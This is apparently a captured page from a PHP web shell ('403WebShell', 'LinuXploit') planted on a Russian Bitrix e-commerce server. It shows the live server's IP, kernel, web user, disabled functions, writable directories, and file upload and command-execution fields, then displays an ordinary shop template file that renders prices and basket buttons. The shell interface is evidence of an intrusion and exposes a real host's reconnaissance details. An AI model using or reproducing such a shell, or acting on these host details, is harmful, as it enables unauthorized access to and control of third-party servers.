%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.139.237.82
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/bitrix/catalog.element/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/bitrix/catalog.element/.default//_buy.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true){
    die();
}
if($actualItem["PROPERTIES"]["price_on_request"]["VALUE"] == 'Y'){?>
    <div class="controls">
        <div class="buy">
            <button data-lot="<?=htmlspecialcharsbx($actualItem['PROPERTIES']['LOT']['VALUE'])?>"
                class="btn_dark btn_dark-compact modal_message zapros">Цена по запросу</button>
        </div>
    </div><?
    return;
}
if($actualItem['PRICES']['BASE']['VALUE'] <= 0){?>
    <div class="controls">
        <div class="buy">
            <?/*<div class="modal_auth btn_dark btn_dark-compact">
                Цена доступна только для авторизованных пользователей
            </div>*/?>
            <div class="btn_dark btn_dark-compact">Нет в наличии</div>
        </div>
    </div><?
    return;
}
if (empty( $actualItem['~ADD_URL']) && !empty($arResult['ADD_URL_TEMPLATE'])) {
     $actualItem['~ADD_URL'] = str_replace('#ID#', intval($actualItem['ID']), $arResult['ADD_URL_TEMPLATE']);
}
?>
<div class="controls">
    <div class="reload buy">
        <p class="label top-label">Итоговая стоимость</p>
        <div class="currency text-nowrap"><?
            $arPriceByCurrency = [
                'RUB' => [
                    'value' => $actualItem['PRICES']['BASE']['DISCOUNT_VALUE'],
                    'old_value' => ($actualItem['PRICES']['BASE']['DISCOUNT_DIFF']>0?$actualItem['PRICES']['BASE']['VALUE']:null),
                    'mark' => 'руб.',
                ],
                'USD' => [
                    'mark' => 'USD',
                ],
                'EUR' => [
                    'mark' => 'EUR',
                ],
            ];
            foreach ($arPriceByCurrency as $currency => &$ar) {
                if($ar['value'] === null){
                    $ar['value'] = CCurrencyRates::ConvertCurrency(
                        $arPriceByCurrency['RUB']['value'], 'RUB', $currency
                    );
                }
                $ar['formatted'] = number_format($ar['value'], 0, ',', ' ');
                if($currency !== 'RUB' && $arPriceByCurrency['RUB']['old_value'] > 0){
                    $ar['old_value'] = CCurrencyRates::ConvertCurrency(
                        $arPriceByCurrency['RUB']['old_value'], 'RUB', $currency
                    );
                }
                if($ar['old_value'] > 0){
                    $ar['old_value_formatted'] = number_format($ar['old_value'], 0, ',', ' ');
                } ?>
                <button <?if($currency == "RUB"):?>class="active"<?endif;?>
                    data-price="<?=$ar['formatted']?>" data-old-price="<?=$ar['old_value_formatted']?>"
                    data-text="<?=$ar['mark']?>"><?=$currency?></button><?
            } ?>
        </div><?
        if($arPriceByCurrency['RUB']['old_value_formatted']){?>
            <p class="price old-price" data-type="old-price">
                <?=$arPriceByCurrency['RUB']['old_value_formatted']?>
            </p><?
        } ?>
        <p data-type="price" class="price <?
            if(!empty($arResult['PROPERTIES']['AFTER_SALE']['VALUE'])){
                echo ' after-sale__price';
            }?>" itemprop="offers" itemscope="" itemtype="http://schema.org/Offer">
                <meta itemprop="price" content="<?=$actualItem["PRICES"]["BASE"]["VALUE"];?>">
                <meta itemprop="priceCurrency" content="RUB">
            <?=$arPriceByCurrency['RUB']['formatted']?> <span>руб.</span>
        </p>
        <p class="label">
            <a href="#" class="btn-info btn-modal" data-target="modalInfo">i</a>
			<br>
        </p><?
        if($arResult['PRODUCT']['AVAILABLE'] == 'Y' && !empty($actualItem['~ADD_URL'])){ ?>
            <button type="button" class="add_to_basket" <?
                if($arResult['_IN_BASKET']){echo ' style="display: none;"';}?>>Купить</button>
            <a href="<?=$arParams['BASKET_URL']?>" class="in_basket btn_dark" <?
                if(!$arResult['_IN_BASKET']){echo ' style="display: none;"';}?>>В корзине</a><?
            /*?>
            <button type="button" class="modal_as_buy" data-u="1">Купить</button>
            <?/*<div id="<?=$itemIds['BASKET_ACTIONS_ID']?>"><?
            if ($showAddBtn) { ?>
                <div class="product-item-detail-info-container">
                    <a class="btn <?=$showButtonClassName?> product-item-detail-buy-button" id="<?=$itemIds['ADD_BASKET_LINK']?>"
                        href="javascript:void(0);">
                        <span><?=$arParams['MESS_BTN_ADD_TO_BASKET']?></span>
                    </a>
                </div><?php
            }
            if ($showBuyBtn) { ?>
                <div class="product-item-detail-info-container">
                    <a class="btn <?=$buyButtonClassName?> product-item-detail-buy-button" id="<?=$itemIds['BUY_LINK']?>"
                        href="javascript:void(0);">
                        <span><?=$arParams['MESS_BTN_BUY']?></span>
                    </a>
                </div><?php
            }?>
            </div><?*/
        } ?>
    </div>
</div><?
if (empty( $actualItem['~ADD_URL'])) {
    return;
}
?>
<script>
$(document).ready(function() {
    $(document).on('click', '.add_to_basket', function() {
        var $btn = $(this);
        $.ajax({
            url: '<?= $actualItem['~ADD_URL']?>',
            method: 'POST',
            data:{ajax_basket:'Y'}
        }).done(function (result) {
            if(result['STATUS'] === 'OK'){
                $btn.hide();
                $btn.parent().find('.in_basket').show();
                BX.onCustomEvent('OnBasketChange');
            }
        });
});
});
</script>
<?
/*
Object { STATUS: "OK", MESSAGE: "Товар успешно добавлен в корзину" }

Object { STATUS: "ERROR", MESSAGE: "В корзину уже добавлено максимально возможное количество товара \"Ваза «Одуванчики»\" : 1" }

*/

Youez - 2016 - github.com/yon3zu
LinuXploit